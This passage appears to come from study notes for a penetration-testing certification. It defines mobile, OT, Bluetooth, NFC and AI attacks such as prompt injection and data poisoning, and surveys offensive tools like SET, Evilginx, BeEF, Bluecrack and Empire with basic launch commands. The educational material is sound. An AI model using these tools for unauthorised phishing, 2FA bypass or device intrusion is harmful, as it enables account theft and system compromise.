    • Prevention: Verify identities of unknown individuals and enforce strict visitor policies.
  • Credential Harvesting
    • Definition: Collecting usernames and passwords through deceptive means.
    • Example: A fake login page capturing credentials of users attempting to sign in.
    • Prevention: Use secure login mechanisms, educate users on recognizing phishing sites, and implement multi-factor authentication.

Tools

  • Social Engineering Toolkit (SET)
    • Purpose: Framework for social engineering penetration tests.
    • Social Engineering Toolkit (SET) is an open-source framework designed for social engineering attacks.
    • Developed by TrustedSec, SET is a popular tool used by penetration testers and security professionals to simulate social engineering attacks and assess the effectiveness of security awareness training.
    • SET provides a variety of attack vectors and techniques, allowing users to craft and execute sophisticated social engineering campaigns.
    • Features:
      • Phishing Attacks: Create and deploy phishing emails, websites, and malicious attachments.
      • Credential Harvesting: Capture login credentials through fake login pages and credential harvesters.
      • Exploit Delivery: Deliver exploits and payloads using social engineering techniques.
      • Payload Generation: Generate malicious payloads and executables for various platforms.
      • Pre-Built Templates: Use pre-configured attack templates for common social engineering scenarios.
      • Integration: Integrates with Metasploit and other tools for advanced attack capabilities.
    • Use Case: Creating phishing campaigns and other social engineering attacks.
    • Example: Simulating a phishing email to test an organization’s security awareness.
    • Usage: This command starts the SET framework and presents an interactive menu. → sudo setoolkit
  • Gophish
    • Purpose: Phishing simulation tool.
    • Gophish is an open-source phishing framework designed for creating, managing, and analyzing phishing campaigns.
    • It allows security professionals and researchers to simulate phishing attacks to assess the effectiveness of security training and identify vulnerabilities in organizations.
    • Gophish provides a user-friendly interface for setting up phishing campaigns, tracking results, and analyzing the success of various phishing tactics.
    • Features:
      • Campaign Management: Create, manage, and track phishing campaigns with ease.
      • Template Creation: Design and customize phishing emails and landing pages.
      • Tracking and Analytics: Monitor user interactions with phishing emails and landing pages, including clicks and form submissions.
      • Reporting: Generate detailed reports on campaign performance and user responses.
      • Multi-User Support: Allow multiple users to manage and run campaigns with different access levels.
    • Use Case: Creating and managing phishing campaigns to test user susceptibility.
    • Example: Sending simulated phishing emails to employees to gauge their response.
    • Usage: By default, Gophish will start and listen on port 3333 for the web interface and port 8080 for the API. → ./gophish
  • Evilginx
    • Purpose: Advanced phishing tool.
    • Evilginx is an open-source phishing framework designed to perform advanced phishing attacks using reverse proxy techniques.
    • It is specifically used for bypassing two-factor authentication (2FA) protections by intercepting authentication tokens and session cookies.
    • Evilginx allows attackers to create realistic phishing sites that can capture credentials and session tokens, providing access to protected accounts even if 2FA is enabled.
    • Features:
      • Reverse Proxy: Acts as a man-in-the-middle to intercept and relay requests between the victim and the legitimate service.
      • 2FA Bypass: Captures session cookies and authentication tokens to bypass two-factor authentication.
      • Customizable Phishing Pages: Allows the creation of phishing pages that mimic legitimate login interfaces.
      • Credential and Token Harvesting: Captures usernames, passwords, and session tokens.
      • Real-Time Logging: Provides real-time logs of captured credentials and tokens.
    • Use Case: Performing man-in-the-middle attacks to capture credentials.
    • Example: Setting up a proxy to intercept login credentials from a phishing site.
  • theHarvester
    • Purpose: Information gathering tool.
    • theHarvester is an open-source information-gathering tool designed for reconnaissance and information retrieval during security assessments.
    • It is used to collect email addresses, domain names, and other relevant information from various public sources and databases.
    • This information can be valuable for understanding the target organization and identifying potential attack vectors.
    • Features:
      • Email Collection: Harvest email addresses from different sources such as search engines and social media.
      • Domain Enumeration: Discover domain names and subdomains associated with a target organization.
      • Public Information Gathering: Collect information from public sources like search engines, social networks, and DNS records.
      • Multiple Data Sources: Utilizes various APIs and search engines to gather information.
    • Use Case: Collecting emails, names, and other information from public sources.
    • Example: Gathering information on a target organization from search engines and social networks.
    • Usagepython3 theHarvester.py -d example.com -b google
      • Collecting Email Addresses → python3 theHarvester.py -d example.com -b google -l 100
  • Maltego
    • Purpose: Data mining tool for link analysis and information gathering.
    • Maltego is a powerful open-source intelligence (OSINT) and graphical link analysis tool designed for conducting comprehensive reconnaissance and analysis.
    • It is widely used in cybersecurity, investigations, and intelligence gathering to discover relationships and patterns between various entities such as people, organizations, domains, and IP addresses.
    • Maltego offers a visual interface that allows users to map out and analyze complex networks of information.
    • Features:
      • Graphical Link Analysis: Visualize and analyze relationships between different data points.
      • Transformations: Use built-in and custom transformations to gather data from various sources.
      • Data Integration: Integrate data from different sources, including DNS records, social networks, and WHOIS information.
      • Customizable: Create and use custom transformations and data sources.
      • Collaboration: Share and collaborate on investigative graphs with team members.
    • Use Case: Mapping relationships and gathering detailed information on targets.
    • Example: Visualizing the connections between individuals within an organization.
  • Recon-ng
    • Purpose: Web reconnaissance framework.
    • Recon-ng is an open-source reconnaissance framework designed for gathering information during the reconnaissance phase of security assessments.
    • It provides a modular and flexible environment for performing OSINT (Open Source Intelligence) to collect and analyze data from various public sources.
    • Recon-ng is particularly useful for security professionals and penetration testers looking to automate and streamline the information-gathering process.
    • Features:
      • Modular Framework: Consists of various modules for different types of reconnaissance, including domain information, email addresses, and more.
      • API Integration: Supports numerous APIs for data collection from public and commercial sources.
      • Customizable: Allows users to create and use custom modules and scripts.
      • Automated Data Collection: Automates the process of querying and collecting data from multiple sources.
      • Interactive Console: Provides an interactive command-line interface for easy navigation and operation.
    • Use Case: Performing automated reconnaissance on targets.
    • Example: Gathering domain and contact information about a target organization.
    • Usagepython3 recon-ng
  • Browser Exploitation Framework (BeEF)
    • Purpose: Browser exploitation tool.
    • BeEF (Browser Exploitation Framework) is a penetration testing tool designed to assess the security of web browsers.
    • BeEF focuses on leveraging browser vulnerabilities and misconfigurations to gain access to the client-side environment.
    • It allows security professionals to demonstrate and exploit weaknesses in browser security by taking control of web browsers through various attack vectors.
    • Features:
      • Client-Side Attacks: Exploits vulnerabilities and weaknesses in web browsers to gain control over the client-side environment.
      • Social Engineering: Uses social engineering techniques to deliver payloads and exploits.
      • Real-Time Interaction: Provides real-time interaction with compromised browsers through a web-based interface.
      • Extensive Modules: Includes a wide range of modules for different types of attacks, such as phishing, credential harvesting, and session hijacking.
      • Post-Exploitation: Allows for post-exploitation activities like capturing screenshots, keylogging, and more.
    • Use Case: Using browser vulnerabilities to gather information or deliver payloads.
    • Example: Hooking a target’s browser to control it and deliver exploits.
    • Usage: → - ./beef

Objective 4.9

Attack Types

  • Mobile Attacks
    • Information Disclosure
      • Definition: Unauthorized access or exposure of sensitive information.
      • Example: A malicious app accessing and leaking user data without permission.
      • Prevention: Implement strong access controls and use encryption for sensitive data.
    • Jailbreak/Rooting
      • Definition: Gaining root access to a device to bypass security restrictions.
      • Example: Using a jailbreaking tool to install unauthorized apps on an iPhone.
      • Prevention: Regularly update OS, use mobile device management (MDM) solutions to detect and block jailbroken/rooted devices.
    • Permission Abuse
      • Definition: Apps requesting and misusing excessive permissions.
      • Example: A flashlight app requesting access to contacts and SMS.
      • Prevention: Educate users on reviewing app permissions, use app reputation services to detect malicious apps.
  • AI Attacks
    • Prompt Injection
      • Definition: Manipulating input prompts to deceive AI models.
      • Example: Crafting inputs to cause an AI chatbot to provide incorrect or harmful responses.
      • Prevention: Implement input validation and filtering, train AI models to handle unexpected inputs safely.
    • Model Manipulation
      • Definition: Altering the AI model to produce unintended behavior.
      • Example: Poisoning the training data to bias the model’s outputs.
      • Prevention: Secure training data, validate model integrity regularly.
  • OT
    • Register Manipulation
      • Definition: Altering the values in the control registers of an OT system to manipulate its behavior.
      • Example: Changing the temperature set point in a thermostat to cause overheating.
      • Prevention: Implement access controls, monitor and log register changes, use secure protocols.
    • CAN Bus Attack
      • Definition: Exploiting vulnerabilities in the Controller Area Network (CAN) bus used in vehicles and industrial systems.
      • Example: Sending malicious commands to control vehicle functions such as braking or acceleration.
      • Prevention: Implement authentication and encryption for CAN bus communications, use intrusion detection systems.
    • Modbus Attack
      • Definition: Targeting the Modbus protocol, widely used in industrial systems, to intercept or alter commands.
      • Example: Intercepting Modbus traffic to alter commands sent to a programmable logic controller (PLC).
      • Prevention: Use secure versions of Modbus, implement network segmentation and encryption.
    • Plaintext Attack
      • Definition: Attacking unencrypted data transmissions in OT environments to intercept sensitive information.
      • Example: Capturing unencrypted commands sent to industrial control systems (ICS).
      • Prevention: Use encryption protocols like TLS/SSL for data in transit, implement network security measures.
    • Replay Attack
      • Definition: Reusing captured legitimate data transmissions to perform unauthorized actions in OT systems.
      • Example: Replaying captured commands to repeatedly turn on and off industrial machinery.
      • Prevention: Implement time-sensitive tokens, nonces, and session validation to invalidate reused transmissions.
  • Near-field Communication (NFC) Attacks
    • Definition: Exploiting NFC technology to gain unauthorized access or perform malicious actions.
    • Example: Skimming data from contactless payment cards.
    • Prevention: Use secure NFC protocols, enable NFC only when needed, use NFC shields.
  • Bluejacking
    • Definition: Sending unsolicited messages to Bluetooth-enabled devices.
    • Example: Sending spam messages to nearby Bluetooth devices.
    • Prevention: Keep Bluetooth disabled when not in use, set devices to non-discoverable mode.
  • Radio-frequency Identification (RFID) Attacks
    • Definition: Exploiting RFID technology to intercept or manipulate data.
    • Example: Cloning an RFID badge to gain unauthorized access to a building.
    • Prevention: Use encrypted RFID communications, implement physical security measures.
  • Bluetooth Spamming
    • Definition: Sending a large volume of unsolicited messages via Bluetooth.
    • Example: Overwhelming a Bluetooth device with spam messages to disrupt its operation.
    • Prevention: Disable Bluetooth when not in use, employ Bluetooth security features.

Tools

  • Scapy
    • Function: Packet manipulation tool.
    • Scapy is an open-source Python library used for packet manipulation and network analysis.
    • It allows users to create, send, receive, and analyze network packets with a high level of flexibility.
    • Scapy is often used in network penetration testing, security research, and network troubleshooting due to its powerful capabilities for crafting and analyzing packets.
    • Features:
      • Packet Crafting: Create custom packets with a wide range of protocols.
      • Packet Analysis: Analyze and dissect network packets.
      • Network Scanning: Perform network scanning and discovery.
      • Protocol Support: Supports a wide range of protocols, including Ethernet, IP, TCP, UDP, ICMP, and more.
      • Scripting: Write scripts to automate network tasks and analyses.
    • Use Case: Crafting and sending custom network packets for penetration testing.
    • Example: Performing packet crafting to test for vulnerabilities in the CAN bus or Modbus protocols.
  • tcprelay
    • Function: Proxy tool for relaying TCP connections.
    • tcprelay is a tool used to relay TCP traffic between two endpoints.
    • It is often used in network testing and troubleshooting to redirect TCP connections from one port to another or from one host to another.
    • It can be useful in scenarios where you need to forward traffic between systems or services, or when you want to redirect traffic for analysis or testing purposes.
    • Features:
      • TCP Traffic Forwarding: Relay TCP traffic from one port to another or between hosts.
      • Port Redirection: Redirect traffic from a local port to a remote port or vice versa.
      • Flexible Configuration: Configure different source and destination ports and addresses.
      • Simple Setup: Easy to set up and use for basic TCP traffic forwarding tasks.
    • Use Case: Forwarding traffic between different network interfaces for testing and debugging.
    • Example: Relaying traffic from an OT network to analyze and modify data in transit.
    • Usage: tcprelay -l <local_port> -r <remote_host>:<remote_port>
  • Wireshark/tcpdump
    • Function: Network protocol analyzer and packet capture tool.
    • Use Case: Capturing and analyzing network traffic.
    • Example: Monitoring CAN bus or Modbus traffic to detect malicious activity or replay attacks.
  • MobSF (Mobile Security Framework)
    • Function: Automated security analysis tool for mobile applications.
    • MobSF (Mobile Security Framework) is an open-source automated mobile application security testing tool designed to perform static and dynamic analysis of mobile applications.
    • It is widely used by security professionals and developers to identify vulnerabilities and security issues in mobile apps for both Android and iOS platforms.
    • Features:
      • Static Analysis: Analyzes the application’s source code, binaries, and artifacts without executing the app.
      • Dynamic Analysis: Executes the application to identify runtime vulnerabilities and issues.
      • API Testing: Assesses the security of APIs used by the mobile application.
      • Malware Analysis: Detects potential malware or malicious behavior in mobile apps.
      • Reporting: Generates detailed reports on security findings, including recommendations for remediation.
    • Use Case: Static and dynamic analysis of Android and iOS apps.
    • Example: Analyzing mobile applications for information disclosure, permission abuse, or other security flaws.
    • Usage: python3 manage.py runserver
  • Frida
    • Function: Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.
    • Frida is a dynamic instrumentation toolkit used for reverse engineering and security research.
    • It allows users to inject code into running processes, enabling real-time analysis and manipulation of applications.
    • Frida is widely used for debugging, analyzing, and modifying applications on various platforms, including Android, iOS, Windows, and macOS.
    • Features:
      • Dynamic Instrumentation: Inject and execute custom scripts in real-time within a running process.
      • Cross-Platform Support: Works on Android, iOS, Windows, macOS, and Linux.
      • JavaScript API: Write scripts in JavaScript to interact with and modify processes.
      • API Hooking: Hook into native functions and APIs to monitor or alter their behavior.
      • Remote Support: Perform remote instrumentation on devices over the network.
    • Use Case: Injecting scripts into running processes for debugging and analysis.
    • Example: Manipulating mobile app behavior or intercepting and modifying OT system commands in real-time.
  • Drozer
    • Function: Comprehensive security audit and attack framework for Android.
    • Drozer is a comprehensive security assessment tool designed for Android applications.
    • It focuses on identifying and exploiting vulnerabilities in Android apps and the underlying Android operating system.
    • Drozer provides a suite of tools for performing security assessments, ranging from discovering vulnerabilities to exploiting them.
    • Features:
      • Application Scanning: Identify security issues in Android apps, including insecure components and permissions.
      • Dynamic Analysis: Analyze running applications to find vulnerabilities and exploit them in real-time.
      • Exploit Modules: Utilize pre-built modules to exploit known vulnerabilities in Android applications.
      • Custom Scripting: Write custom scripts to automate and extend Drozer’s capabilities.
      • Interactivity: Interact with Android applications and their components programmatically.
    • Use Case: Assessing the security of Android applications.
    • Example: Testing Android apps for vulnerabilities such as information disclosure or misuse of permissions.
    • Usage: drozer console connect
  • Android Debug Bridge (ADB)
    • Function: Command-line tool for interacting with Android devices.
    • Android Debug Bridge (ADB) is a versatile command-line tool that allows developers and security professionals to communicate with Android devices.
    • It provides various functionalities for debugging, managing, and controlling Android devices and emulators.
    • ADB is a key component of the Android SDK (Software Development Kit) and is widely used for development, troubleshooting, and testing.
    • Features:
      • Device Management: Interact with and manage Android devices and emulators.
      • Application Management: Install, uninstall, and manage applications on Android devices.
      • File Transfer: Transfer files between a computer and an Android device.
      • Debugging: Execute commands and scripts to debug applications and system components.
      • System Commands: Access and execute system commands on a connected device.
    • Use Case: Installing and debugging apps, accessing device logs, and executing shell commands.
    • Example: Using ADB to gain access to a rooted device for further analysis or exploitation.
    • Usage: adb start-server
  • Bluecrack
    • Function: Bluetooth security tool.
    • Bluecrack is a tool designed for attacking Bluetooth devices, specifically targeting Bluetooth devices using the Bluetooth Classic (BR/EDR) protocol.
    • It is primarily used to perform brute-force attacks on Bluetooth PINs to gain unauthorized access to Bluetooth devices.
    • Bluecrack aims to crack the PIN codes of Bluetooth devices, which can be crucial for security testing and penetration testing.
    • Features:
      • Brute-Force Attacks: Performs brute-force attacks on Bluetooth PINs.
      • PIN Cracking: Attempts to guess the PIN codes used for pairing Bluetooth devices.
      • Bluetooth Classic Support: Targets Bluetooth devices using Bluetooth Classic (BR/EDR).
    • Use Case: Testing Bluetooth devices for security weaknesses.
    • Example: Performing Bluetooth attacks such as Bluejacking or capturing Bluetooth communications.
    • Usage: bluecrack -i <interface> -a <target_address> -p <pin>

Objective 4.10

PowerShell

  • Empire/PowerSploit
    • Function: Post-exploitation framework.
    • Empire is a PowerShell and Python-based post-exploitation framework that enables red teaming and penetration testing. It provides a range of tools and modules for command-and-control, lateral movement, and data exfiltration.
    • Empire Features:
      • PowerShell and Python-Based: Utilizes both PowerShell and Python for various tasks.
      • Agent Management: Provides capabilities to manage and control multiple agents on compromised systems.
      • Command and Control: Offers a robust command and control infrastructure.
      • Post-Exploitation Modules: Includes a wide range of modules for tasks like credential harvesting, privilege escalation, and data exfiltration.
    • PowerSploit is a collection of PowerShell scripts and modules designed for use in penetration testing and red team operations. It focuses on exploiting and post-exploitation on Windows systems, leveraging PowerShell capabilities.
    • PowerSploit Features:
      • PowerShell-Based: Utilizes PowerShell for various post-exploitation and exploitation tasks.
      • Modular: Includes modules for a variety of tasks such as privilege escalation, credential dumping, and persistence.
      • Red Team Operations: Designed for red team engagements and penetration testing.
    • Example: Running PowerShell scripts to perform privilege escalation, credential dumping, and other attacks.
  • PowerView
    • Function: Network situational awareness tool.
    • PowerView is a PowerShell tool developed as part of the PowerSploit framework.
    • It is designed for enumerating and interacting with Active Directory (AD) environments.
    • PowerView is particularly useful for penetration testers and red teamers who need to gather information about AD environments, identify potential attack vectors, and perform various AD-related tasks.
    • Features:
      • AD Enumeration: Collect information about AD objects such as users, groups, and computers.
      • Kerberos and NTLM: Exploit AD authentication mechanisms to gather information and perform attacks.
      • Privilege Escalation: Identify potential privilege escalation paths and gather information for further exploitation.
      • LDAP Queries: Perform advanced LDAP queries to extract information from AD.
      • Domain Trusts: Discover and enumerate domain trusts to understand the AD forest structure.
    • Use Case: Automating the discovery and enumeration of Active Directory (AD) environments.
    • Example: Mapping out AD environments to identify high-value targets and potential attack paths.
  • PowerUpSQL
    • Function: SQL Server post-exploitation toolkit.
    • PowerUpSQL is a PowerShell tool designed to assess and exploit SQL Server instances.
    • It is used to identify and exploit vulnerabilities in SQL Server installations, primarily focusing on security assessments and privilege escalation.
    • PowerUpSQL is a valuable tool for penetration testers and red teamers who need to interact with SQL Server environments.
    • Features:
      • SQL Server Enumeration: Discover SQL Server instances, databases, and associated configurations.
      • Privilege Escalation: Identify potential privilege escalation paths and misconfigurations in SQL Server.
      • Exploit Vulnerabilities: Exploit known vulnerabilities and misconfigurations in SQL Server installations.
      • Configuration Checks: Check for common SQL Server misconfigurations that could be exploited.
    • Use Case: Automating SQL Server attacks.
    • Example: Identifying misconfigurations and vulnerabilities in SQL Server instances.
  • AD search
    • Function: Active Directory search and enumeration.
    • Active Directory (AD) Search refers to the process of querying and retrieving information from an Active Directory environment.
    • This can involve searching for objects such as users, groups, computers, and other entities within the AD domain.
    • Various tools and techniques can be used for AD search, ranging from built-in Windows utilities to specialized PowerShell scripts and third-party tools.
    • Use Case: Automating the search for AD objects and attributes.
    • Example: Extracting user and group information from AD to facilitate privilege escalation.

Bash

  • Input/Output Management
    • Function: Handling input and output streams.
    • Use Case: Automating tasks that involve reading from or writing to files and devices.
    • Example: Writing scripts to automate data extraction and manipulation tasks.
  • Data Manipulation
    • Function: Transforming and processing data.
    • Use Case: Automating data cleaning, filtering, and transformation.
    • Example: Parsing and reformatting log files for further analysis or feeding into other tools.

Python

  • Impacket
    • Function: Collection of Python classes for working with network protocols.
    • Use Case: Automating network attacks and post-exploitation tasks.
    • Example: Writing scripts to perform SMB relay attacks, NTLM relay attacks, and other network-based attacks.
  • Scapy
    • Function: Network packet manipulation tool.
    • Use Case: Automating the creation, manipulation, and analysis of network packets.
    • Example: Writing scripts to perform custom network attacks and reconnaissance.

Breach and Attack Simulation (BAS)

  • Caldera
    • Function: Automated adversary emulation platform.
    • Caldera is an open-source automated adversary emulation and red teaming platform developed by MITRE.
    • It is designed to automate the process of simulating sophisticated adversarial tactics, techniques, and procedures (TTPs) within an organization’s network.
    • Caldera provides a way to test and validate security defenses by simulating real-world attacks and is often used in security assessments, red teaming, and adversary emulation exercises.
    • Features:
      • Automated Adversary Emulation: Simulates adversary behavior by automating attack scenarios based on the MITRE ATT&CK framework.
      • Customizable Scenarios: Allows users to create and customize attack scenarios to fit specific security assessment needs.
      • Modular Architecture: Includes various modules for different attack techniques, enabling flexible and extensible simulations.
      • Interactive Dashboard: Provides an interface for managing and monitoring simulations, tracking progress, and analyzing results.
    • Use Case: Simulating advanced persistent threat (APT) behaviors.
    • Example: Running automated attack scenarios to test defenses and identify weaknesses.
    • Usage: python3 caldera.py
  • Infection Monkey
    • Function: Open-source breach and attack simulation tool.
    • Infection Monkey is an open-source network security assessment tool developed by Guardicore (now part of Akamai).
    • It is designed to simulate a malware infection and analyze how well an organization’s network security controls can detect and respond to such infections.
    • The tool focuses on mapping network vulnerabilities and assessing how an infection spreads through the network, helping organizations identify weaknesses and improve their defenses.
    • Features:
      • Network Mapping: Visualizes the network topology and identifies potential vulnerabilities and attack paths.
      • Simulated Malware Spread: Simulates how malware would spread through the network, allowing you to observe the effectiveness of security controls.
      • Customizable Attack Scenarios: Offers options to customize the attack scenarios and configure the simulated malware behavior.
      • Interactive Dashboard: Provides a web-based interface for monitoring and managing simulations, visualizing results, and analyzing network security posture.
    • Use Case: Simulating various attack techniques and paths.
    • Example: Automating the infection and lateral movement within a network to test security controls.
  • Atomic Red Team
    • Function: Library of tests mapped to the MITRE ATT&CK framework.
    • Atomic Red Team is an open-source project developed by Red Canary, designed to provide a collection of small, atomic tests that simulate real-world adversary behaviors.
    • These tests are used to evaluate the effectiveness of security controls and detection capabilities against tactics, techniques, and procedures (TTPs) commonly used by attackers, based on the MITRE ATT&CK framework.
    • Features:
      • Atomic Tests: Provides a library of simple, focused tests that simulate specific adversary behaviors.
      • MITRE ATT&CK Mapping: Each test is mapped to MITRE ATT&CK techniques, helping to assess detection and response capabilities.
      • Modular and Customizable: Tests are designed to be easy to execute and customize, allowing users to adapt them to their specific environments.
      • Integration: Supports integration with various security tools and platforms for automated testing and analysis.
    • Use Case: Automating the execution of specific attack techniques.
    • Example: Running individual tests to verify the effectiveness of security controls against specific attack techniques.